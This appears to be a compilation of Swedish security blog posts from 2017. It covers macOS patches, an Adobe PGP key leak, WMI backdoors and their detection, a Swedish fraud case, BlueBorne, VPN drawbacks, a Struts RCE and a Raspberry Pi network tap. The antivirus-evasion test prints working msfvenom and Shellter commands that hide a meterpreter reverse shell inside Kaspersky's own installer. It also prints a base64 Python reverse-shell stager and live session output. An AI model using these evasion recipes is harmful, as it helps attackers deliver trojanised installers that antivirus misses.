 Säkerhetsåtgärder i macOS High Sierra 10.13

Idag släpptes en ny version av Apples operativsystem vid namn macOS High Sierra 10.13. Denna nya uppdatering innehåller flertalet säkerhetsuppdateringar som åtgärdar minst 22 olika sårbarheter.

Några exempel på intressanta brister som åtgärdas:

  • Ett återkallat certifikat kan vara bli betrott
  • Avsändaren av ett E-postmeddelande kan ta redan på mottagarens IP-adress om denne använder Apple Mail
  • Cure53 har identifierat 9 sårbarheter i ntp

Även så inkluderar High Sierra ett verktyg vid namn eficheck som körs veckovis för att kontrollera att ingen firmware har blivit modifierad i din Apple-dator.

Delar av macOS där säkerhetsbrister återfinnes är bl.a:

  • Application Firewall
  • AppSandbox
  • Captive Network Assistant
  • CFNetwork Proxies
  • CoreAudio
  • Directory Utility
  • file
  • Heimdal
  • IOFireWireFamily
  • Kernel
  • libc
  • libexpat
  • Mail

En intressant sårbarhet som återfinnes i denna uppdatering men som ännu ej åtgärdats är en typ av keychainStealer som före detta NSA-medarbetaren Patrick Wardle identifierat.

Denna sårbarhet medger att en app kan stjäla all data som lagras i din nyckelring (keychain):

https://twitter.com/patrickwardle/status/912254053849079808

Adobe exponerade sin privata PGP-nyckel

PSIRT-teamet på Adobe råkade av misstag publicera sin privata PGP-nyckel. Det var i samband med att Juho Nurminen från Finland skulle kontakta Adobes Product Security Incident Response Team och ville använda PGP som nyckelröjningen upptäcktes. När Juho gick in på sidan där Adobe publicerar sin publika nyckel låg där även den privata.

Tur i oturen så skapades nyckeln den 18:de September 2017 och har troligtvis inte används av allt för många.

Nyckeln revokerades dock av Adobe efter fyra dagar:

Att rotera sin PGP-nyckel är enligt god krypto-sed bra att genomföra eftersom PGP inte erbjuder forward secrecy.

Rotering gör exempelvis CERT-SE med sitt PGP-nyckelpar:

Intressant metod för att lägga in bakdörrar i Windows: WMI

Cyberattacker där angriparen nyttjar Windows Management Instrumentation (WMI) ökar successivt visar nya rapporter från antivirus-företag. Administratörsbehörigheter är nödvändiga för att installera en bakdörr via WMI men dessa bakdörrar är desto svårare att upptäcka.

Tittar vi på detektion när det gäller WMImplant.ps1 som är ett av flertalet implantat (bakdörr) utvecklat av Chris Tuncer så är antivirus-detektioner lika med noll i dagsläget påvisar VirusTotal:

Uppdatering: Sedan jag först skrev detta inlägg i April så kan nu Kaspersky och ZoneAlarm detektera WMImplant:

Det är även möjligt att lägga in en WMI-bakdörr direkt via Metasploit och powershell_import-kommandot (om du kör load powershell först). Då spelar inte antivirus-mjukvarans förmåga att upptäcka den statiska filen någon större roll.

Den som följer denna bloggen vet även att jag gillar open-source IOC-scannern Loki som har två signaturer som följer med som standard och kan detektera WMImplant:

Tittar vi historiskt när det gäller cyberattacker så förekommer WMI vid attacker såsom Stuxnet och Ghost. Även höll Matt Graeber en presentation vid konferensen BlackHat 2015 om WMI_Backdoor som länkas ovan.

Loggning av WMI-attacker

Den senaste uppdateringen av Sysmon 6.10 från Windows Sysinternals innehåller möjligheten att logga WMI-filter och konsumenter som installeras exempelvis:

This update to Sysmon, a background monitor that records activity to the event log for use in security incident detection and forensics, adds monitoring of WMI filters and consumers, an autostart mechanism commonly used by malware, and fixes a bug in image load filtering.

Detektion av WMI-attacker

Om du misstänker en attack där WMI varit inblandad eller om du utför Threat Hunting så är det viktigt att i efterhand söka upp spår efter intrång eller implantat.

Standard så loggar inte Windows WMI-event utan detta måste slås på manuellt med något som kallas för WMI Tracing (beroende på Windows-version).

Du kan även använda wevtutil för att slå på trace-loggar på följande sätt:

wevtutil.exe sl Microsoft-Windows-WMI-Activity/Trace /e:true

Även är följande indikatorer intressant att titta närmare på:

wmiprsve.exe som startar upp powershell.exe och exekverar obfuskerade kommandon såsom:

  • ‘Get-C`hildItem’
  • ‘Get-C`ommand’
  • ‘DI`R’
  • ‘L`S’
  • ‘Child`Item’
  • ‘Inv`oke-Ex`pression’
  • ‘IE`X’
  • ‘G`CI’
  • env:
  • ‘Co`mmand’

Samt:

<Anonymous Pipes> av PowerShell.exe

Analys av förundersökningsprotokollet från hackerhärvan

En hacker som skriver på ett tangentbord. Mycket avancerad hacker

Det senaste omtalade dataintrånget där fleratlet inblandade står åtalade har orsakat stor medial uppmärksamhet. Men hur avancerade var intrången och vilka metoder användes i hackerhärvan B 8322-16.

Förundersökningsprotokollet (FUP) innehåller mängder med olika åtalspunkter där många består i att skadlig kod har skickat i form av Word-filer där makron funnits bifogade. Dessa makron har sedan exekverat PowerShell-kod och efter detta har lösenord dumpats ut samt så har förflyttningar internt genomförts (lateral movements).

Vi kan utläsa att bl.a. den åtalade 37-åringen som varit ansvarig för dataintrången lagt ut uppdrag på sajten Freelancer.com för att få skadlig kod utvecklad.

Nedan skärmdump från Freelancer.com visar att 37-åringen vill ha en exploit utvecklad i C# för sårbarheten MS16-032 för ca 14 EUR vilket var det vinnande budet:

Denna exploit har sedan troligtvis används lokalt hos offren som fått Word-filer för att eskalera behörigheter, eftersom MS16-032 är en lokal sårbarhet.

Som kommunikation mellan personerna i ligan användes Jabber och enligt FUP:en så återfinns kortare utdrag av chatt-kommunikationen vilket indikerar på att historik lagrades eller frånvarande kryptering (hemlig telefonavlyssning av datatrafik).

Tittar vi på Github-sidan tillhörande 37-åringen så ser vi mängder med forkade repon som bl.a. innehåller PoshC2, laZange, Powershell-attacker samt lokala Windows-exploits.

Även återfinnes luckystrike som är ett verktyg för att skapa skadliga office-makron:

Som mail-tjänst användes bl.a. svenskutvecklade CounterMail. Jag kan även utläsa att flertalet olika BankID utnyttjats där man bl.a. kommit över någons SEB digipass för att sedan installera BankID på en iPad, detta för att komma åt bankkonton och ändra uppgifter hos Bolagsverket.

Falska snarlika domäner har registrerats där riktiga företaget har haft .se men bedragarna har registrerat .nu, även felstavningar av .se-domäner har registrerats och nyttjats för bedrägeri via E-post (falska intyg, pass osv).

Flertalet affärssystem har ändrats så att utbetalningsuppgifter går till bedragarna. Ett av affärssystemen som används var Microsoft Dynamics AX. De förekomster där bedragarna har blivit upptäckta är där manuella metoder varit inblandade och extra avstämningar har genomförts.

Slutsats

Min slutsats är att intrången inte var speciellt avancerade men utnyttjade det faktum att viss tillit finns mellan personer och företag och därmed användes social engineering.

Även har attackerna med tiden förfinats och blivit mer och mer avancerade. Av stor vikt är att monitorera exekveringar av PowerShell samt följ upp samtliga antivirus-larm i Er organisation.

Test av gratis anti-virus från Kaspersky

Kaspersky lanserade nyligen en gratis version av sin antivirusmjukvara och jag bestämde mig för att testa vad den går för. Som del av mina uppdrag då jag testar säkerheten för mina uppdragsgivare (penetrationstester) så förekommer det att jag får i uppdrag att ta mig förbi eventuella säkerhetsprodukter såsom sandlådor och antivirus.

Det råder ingen tvekan om att det går att ta sig förbi majoriteten av alla säkerhetssystem såsom sandlådor, data loss prevention-verktyg och antivirus. Att däremot upptäcka i tid när någon försöker ta sig förbi ett säkerhetssystem och reagera på detta är avgörande.

Allmänna synpunkter om Kaspersky Free

Att ladda hem och installera Kaspersky Free Anti-Virus gick smidigt. Vid installationen fick jag frågan om jag vill ingå i Kaspersky Security Network (KSN) och då dela med mig av information om min dator samt skadlig kod som upptäcks på min dator. Jag förstår att inget i livet är gratis och att om jag använder Kaspersky Free så måste jag dela med mig av något. Men det verkar inte som att det är ett måste att ingå i KSN.

Nästa fundering är att det står att licensen gäller i 365 dagar. Vad händer efter det?

Test 1: Testvirus Eicar vs Kaspersky

Det första testet jag genomför är att ladda hem testviruset Eicar. Det finns på eicar.org och går att ladda hem på lite olika sätt: Direkt via HTTP, HTTPS eller i zip-fil. När jag laddar hem Eicar via HTTP så får jag ett meddelande direkt i webbläsaren att jag försöker ladda hem skadlig kod, vilket då påvisar att Kaspersky granskar okrypterad webbtrafik.

När jag försöker ladda hem Eicar via HTTPS så får jag inget meddelande, men jag varnas om jag aktivt försöker starta filen eller söker igenom filen. Detta visar på att Kaspersky ej troligtvis genomför MITM (man i mitten på HTTPS-surf).

Bra, då har vi verifierat att Kaspersky Free Anti-Virus är korrekt installerat.

Test 2: Powershell implantat vs Kaspersky

Nu börjar det bli lite mer avancerat. I detta test  tänker jag testa ett implantat som heter PoshC2 och ligger på Github. Implantatet kan levereras via MS16-051, Word-makron eller Java JAR-filer. Jag väljer att köra via ett Word-makro och installation samt kommunikation fungerar utmärkt.

PoshC2-implantat vs. Kaspersky

Skärmdumpen ovan påvisar att beacon skickas var femte sekund och att användaren heter IEUser. Eftersom Kaspersky var dålig på att upptäcka detta implantat så testar jag även att skicka upp Word-dokumentet till VirusTotal:

Bland de antivirus-motorer som detekterar denna skadlig kod är Avira, Avast, Fortinet och AVG.  Jag noterar också att den gratis IOC-skannern Loki detekterar detta.

Test 3: Metasploit vs Kaspersky

Med hjälp av operativsystemet Kali Linux där Metasploit finns förinstallerat skapar jag en meterpreter reverse TCP payload.

Jag använder msfvenom på följande sätt:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.101.2.254 LPORT=443 -f raw -e x86/shikata_ga_nai -i 9 | msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 11 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 6 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 7 -x kfa17.0.0.611abcsv_11811.exe -k -f exe -o kfa17.0.0.611abcsv_11811-meterpreter-msf.exe

Ovan kommandorad använder flertalet obfuskerare såsom shikata-ga-nai och lägger till Metasploits modul för att ansluta hem.

Denna payload gömmer vi sedan i Kasperskys egen installationsfil kfa17.0.0.611abcsv_11811.exe.

Detta var dock ingen match för Kaspersky att upptäcka:

Nästa test jag gör med Metasploit är att skapa en Python payload med hjälp av msfvenom:

msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=192.168.99.101 LPORT=443

Denna kod måste jag sedan modifiera så den fungerar tillsammans med PyInstaller som skapar en fristående .exe-fil.

Ser ut ungefär så här:

import base64,sys,socket,code,platform,shutil
exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguOTkuMTAxJyw0NDMpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK')))

Vilket motsvarar följande kod utan Base64-kodning:

import socket,struct,time
for x in range(10):
  try:
	s=socket.socket(2,socket.SOCK_STREAM)
	s.connect(('192.168.99.101',443))
	break
  except:
	time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
  while len(d)

När jag sedan testar att köra exe-filen från PyInstaller så blir det ingen detektion hos Kaspersky:

[*] Sending stage (40747 bytes) to 192.168.99.100
[*] Meterpreter session 6 opened (192.168.99.101:443 -> 192.168.99.100:50511) at 2017-08-24 09:44:11 -0400
 msf exploit(handler) > sessions -i 6
[*] Starting interaction with 6...

meterpreter > sysinfo
 Computer : IE11Win8_1
 OS : Windows 8.1 6.3.9600
 Architecture : x86
 Meterpreter : python/windows
 meterpreter >

Eftersom Kaspersky inte lyckades att detektera mitt test är det intressant att se vad VirusTotal säger om filen. 13 av 64 antivirus-motorer kan detektera  namnet på testet.

Test 4: Shellter vs Kaspersky

Shellter Project är ett intressant verktyg som enligt utvecklaren kan användas för att dynamiskt injicera shellcode i PE-filer (Portable Executable).

Shellter is a dynamic shellcode injection tool, and the first truly dynamic PE infector ever created.

Inbyggt i Shellter är möjligheten att skapa ett antal olika Metasploit meterpreter payloads:

  • meterpreter_reverse_tcp
  • meterpreter_reverse_http
  • meterpreter_reverse_https
  • meterpreter_bind_tcp
  • shell_reverse_tcp
  • shell_bind_tcp
  • WinExec

Och väljer du att köpa betalversionen (Pro) för 90 USD så får du ytterligare några payloads:

  • Meterpreter_Reverse_WINHTTP
  • Meterpreter_Reverse_WINHTTPS
  • Shell_Reverse_TCP_DNS

Och har du en egen payload så går det givetvis också bra. Några exempel på egen payload följer med i mappen shellcode_samples.

 

Jag kör Kali Linux där jag installerat Wine och startar ShellterPro som är betalversionen med hjälp av följande argument:

wine ShellterPro.exe -f ../kfa17.0.0.611abcsv_11811.exe -p meterpreter_reverse_tcp --lhost 192.168.99.101 --port 443 --encode --handler IAT --polyExtra --incSize 500 --Junk -s

Detta gör att payloaden meterpreter_reverse_tcp läggs till i filen kfa17.0.0.611abcsv_11811.exe. Övriga argument har att göra med hur Shellter försöker dölja payloaden för antivirus-program.

Sedan för jag över filen till Windows där Kaspersky körs och får då en anslutning till Metasploit när användaren klickar på filen:

[*] Sending stage (956991 bytes) to 192.168.99.100
[*] Meterpreter session 1 opened (192.168.99.101:443 -> 192.168.99.100:57922) at 2017-08-25 02:38:52 -0400

msf exploit(handler) >
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer : IE11WIN8_1
OS : Windows 8.1 (Build 9600).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >

Laddar jag sedan upp denna testfil till VirusTotal så är det enbart 4 st antivirus-motorer som identifierar denna som skadlig kod:

Slutsats

Det är relativt lätt att ta sig förbi Kaspersky antivirus men ovan visar på att inget antivirus är fullständigt. Om du vill vara på den säkra sidan bör du använda flertalet antivirus-motorer, åtminstone i gateways såsom perimeterskyddet mot internet och vid analys av filer på löstagbart media.

Att använda ett antivirusprogram är helt klart bättre än att inte använda något alls. I ovan tester mot VirusTotal så ingår inte Microsofts eget gratisskydd Security Essentials.

Tack till Laban Sköllermark och Emma Lilliestam för korrekturläsning.

Ny trådlös attack som använder Bluetooth: BlueBorne

BlueBorne är samlingsnamnet på en ny uppsjö av säkerhetsbuggar som identifierats i den trådlösa standarden Bluetooth och kan potentiellt drabba 5.3 miljarder enheter världen över.

Säkerhetsbuggarna har identifierats av företaget Armis som jobbar just med IoT-säkerhet. Att säkerhetsbuggarna kan drabba så pass många enheter beror på att flertalet sårbarheter har identifierats i många av de mjukvaror som implementerar Bluetooth-standarden.

Följande sårbarheter har identifierats i plattformarna Android, Windows, Linux och iOS:

  • Linux kernel RCE vulnerability – CVE-2017-1000251
  • Linux Bluetooth stack (BlueZ) information leak vulnerability – CVE-2017-1000250
  • Android information leak vulnerability – CVE-2017-0785
  • Android RCE vulnerabilities CVE-2017-0781 & CVE-2017-0782
  • The Bluetooth Pineapple in Android – Logical Flaw CVE-2017-0783
  • The Bluetooth Pineapple in Windows – Logical Flaw CVE-2017-8628
  • Apple Low Energy Audio Protocol RCE vulnerability – CVE-2017-14315

Den enhet som attackeras behöver inte ställas i synligt-läge och några behörigheter behöver inte användas för att nyttja någon av ovan attacker enligt Armis.

Demonstration av attacken finner du här:

Här kan du ladda hem ett tekniskt papper i PDF-format:

Därför ska du inte använda VPN ⚠️

Att använda VPN har blivit otroligt populärt på senare år men det finns anledningar att se upp och tänka efter en extra gång om du verkligen behöver använda ett VPN.

Så därför tänkte jag vara djävulens advokat och gå igenom några anledningar att inte använda ett VPN. Denna artikel gäller främst VPN-tjänster för hemmabruk/personligt bruk (som används för anonymisering).

Öppnar upp för nya sårbarheter

Klienter eller plugins som du installerar för att använda en VPN-tjänst kan innehålla sårbarheter och därmed kan sänka säkerheten på din dator. Det gäller givetvis all mjukvara du installerar såsom antivirus-program. Du bör även se upp om din VPN-leverantör bara stöder protokollet PPTP som sedan länge är osäkert.

Om du vanligtvis sitter skyddad bakom en brandvägg kan VPN-klienten eller -pluginet dessutom utan din vetskap öppna upp för inkommande anslutningar från internet eller andra VPN-användare.

Lämnar ut loggar

Det har förekommit att VPN-leverantörer loggar vem som anslutit när och kan då lämna ut uppgifterna till myndigheter som efterfrågar dessa. HideMyAss är exempelvis en leverantör som sparar loggar och lämnar ut dessa.

Har du dessutom betalt med kreditkort eller liknande så finns det stora möjligheter att koppla VPN-användaren till dig.

Leverantören Hotspot Shield loggar din data och kan även sälja den vidare till tredje part. De injicerar även JavaScript-kod i din okrypterade surftrafik.

VPN-tjänsten Hola som fungerade via en Chrome-proxy sålde användares bandbredd vidare till andra.

Hotbilden

Har du en stat som ingår i din hotbild som du försöker gömma dig för? Inget VPN i världen kommer troligtvis att skydda dig. Många VPN-leverantörer har en ingång och en utgång på samma server/IP etc och en myndighet eller signalspaningstjänst kan då koppla ihop utgången med ingångstrafiken.

Tänk även på att om du använder en VPN-anslutning mynnar ut i ett annat land så kommer detta lands signalspaningstjänst att se din trafik och eventuellt alla länder på vägen dit och mot din destination.

Din trafik kan även sticka ut om du försöker smälta in i normalbilden.

Överföringskapacitet

Din bandbredd och fördröjning kommer att påverkas negativt när du använder VPN. Testa att köra Bredbandskollen före och efter du är uppkopplad via VPN så får du en uppfattning om ungefär hur stor skillnad det är. Det kan även vara bra att testa vid några olika tidpunkter på dygnet.

Det även vara så att din VPN-leverantör blockerar viss typ av trafik såsom peer-to-peer-protokoll eller e-post (SMTP).

Avslutande ord

Det finns absolut tillfällen då du kan överväga att använda ett VPN. Sådana kan vara när du sitter på ett internetcafé eller annat ställe där det tillhandahålls ett öppet WiFi eller att du litar mer på en VPN-leverantör än din internetleverantör.

Glöm inte heller att det finns tjänster såsom Tor som kan vara bättre att använda i vissa fall. Och framförallt så tänk på vad och hur du surfar när du använder tjänster såsom Tor eller ett VPN.

I ett annat inlägg finns det mer matnyttig information gällande OPSEC.

Tom Hanks GIFs - Find & Share on GIPHY

Stort tack till alla på LinkedIn som hjälpt till med innehåll till denna artikel.

RCE-Sårbarhet i flertalet Cisco-produkter

Flertalet produkter från Cisco använder sig av ramverket Apache Struts 2. Struts innehåller nämligen en allvarlig sårbarhet i hanteringen av XML som kommer in via dess REST-gränssnitt. Problemet är av typen deserialisering i Java och följande CVE har problemet i Struts 2:

  • CVE-2017-9805, Apache Struts REST plug-in XML processing arbitrary code execution vulnerability

Och de Cisco-produkter som berörs är i nuläget inte helt fastställt men Cisco jobbar med att undersöka vilka produkter som berörs. Minst följande produkter är sårbara för RCE (kör-kod-remote):

  • Cisco Digital Media Manager
  • Cisco MXE 3500 Series Media Experience Engines*
  • Cisco Unified Contact Center Enterprise
  • Cisco Unified Intelligent Contact Management Enterprise
  • Cisco Network Performance Analysis

Mer information finnes på Ciscos sidor här:

Och exploit hittar du här:

Samt bra redogörelse om problemet i Struts 2 och dess problem med deserialisering i Java:

Via CERT-SE

Brister i tysk mjukvara för hantering av röster

Den tyska hackergruppen CCC har analyserat en mjukvara som används vid sammanställning av röster och identifierat ett antal allvarliga brister.

Dessa brister kan användas till att påverka utgången i valet i de delstater som använder denna mjukvara vid namn PC Wahl 10. Mjukvaran har används i flertalet årtionden rapporterar CCC.

Även så har tre olika verktyg släppts på Github som utvecklades under testerna av PC Wahl 10:

  • PC-Wahl 10 Update Decryptor is a program that can be used to extract and build update packages for PC-Wahl 10 installations that are deployed on computers, used in election offices.
  • PC-Wahl 10 Password Decryptor is a program that can be used to recover secret passwords from PC-Wahl 10 configuration (INI) files.
  • PC-Wahl 10 Studio Patcher is a program that can be used to swap votes for party 1 and party 2 during final and preliminary result submission.

Rapporten kan i sin helhet laddas hem här, men är på tyska:

Video-demo:

Bygg en egen nätverkstapp med en Raspberry Pi

Att köpa en nätverkstapp från företag såsom Ixia (tidigare Net Optics), Gigamon eller Datacom Systems kan vara kostsamt. Vissa switchar stödjer även span-portar som möjliggör tappning av datatrafik och den som är riktigt snål kan använda en gammal hubb.

På eBay går det att hitta begagnade nätverkstappar aningens billigare men frakten kan ibland bli en dyr historia.

Därför kan ett val vara att bygga en egen nätverkstapp av en Raspberry Pi som du ansluter ett extra nätverkskort till samt hårddisk till, ungefär enligt följande bild:

På ovan setup så ser du en svart Raspberry Pi med två nätverkskablar anslutna. Det ena i ett USB-nätverkskort och den andra i inbyggda nätverksporten. Även har jag anslutit en extern hårddisk där jag lagrar ner pcap-filer.

Installation

Installera Raspbian på ett SD-kort som du ansluter och startar upp din Raspberry Pi på. Hur du installerar Raspbian är utanför denna guide men raspberrypi.org har en bra guide.

När du sedan anslutit via ssh och sett till att din extra hårddisk fungerar så rekommenderar jag att använda Luks eller liknande för att kryptera hårddisken där du kommer att lagra dina pcap-filer.

Du måste även kontrollera att insida och utsida av det nätverket du vill tappa av har anslutning till din Raspberry Pi. ifconfig, mii-tool samt tcpdump är tre bra kommandon för att kontrollera detta.

För att trafik ska flöda fritt mellan de två interfacen så måste du installera paketet bridge-utils genom att skriva:

# apt install bridge-utils

Sedan skapar du upp en brygga på följande sätt:

# brctl addbr br0
# brctl addif br0 eth0
# brctl addif br0 eth1

Och för att inställningarna ska sparas och aktiveras vid en omstart så bör du lägga in följande i filen /etc/network/interfaces

auto br0
  iface br0 inet manual
  bridge_ports eth0 eth1
  bridge_stp off
  bridge_fd 0
  bridge_maxwait 0

Toppen, då var vi nästan färdiga. Det sista men viktigaste steget är att skriva ner all trafikdata som flödar genom vår Raspberry Pi till disk.

Verifiera att hårddiskrypteringen ser bra ut för den externa disken:

Sedan monterar vi på disken och ställer oss i rätt katalog där vi vill skriva ner pcap-filer:

mkdir /u0/pcap/
cd /u0/pcap/
nohup tcpdump -i eth0 -G 86400 -w 'trace_%Y-%m-%d_%H:%M:%S.pcap' -Z pi &

Och efter ett tag så har du förhoppningsvis en bra samling med filer som du kan börja att analysera med diverse verktyg:

Rekommenderat är dock att du gör analys på ett fristående system. Är du extra paranoid kan du även begränsa utgående anslutningar från nätverkstappen.

Prestanda

När jag testar med Bredbandskollen och kör före och efter tester så är skillnaden mycket liten. Ungefär 1% skillnad ser jag i resultatet när jag mäter på en förbindelse på 100 Mbit/s.

Detta är testat med en Raspberry Pi 3 modell b.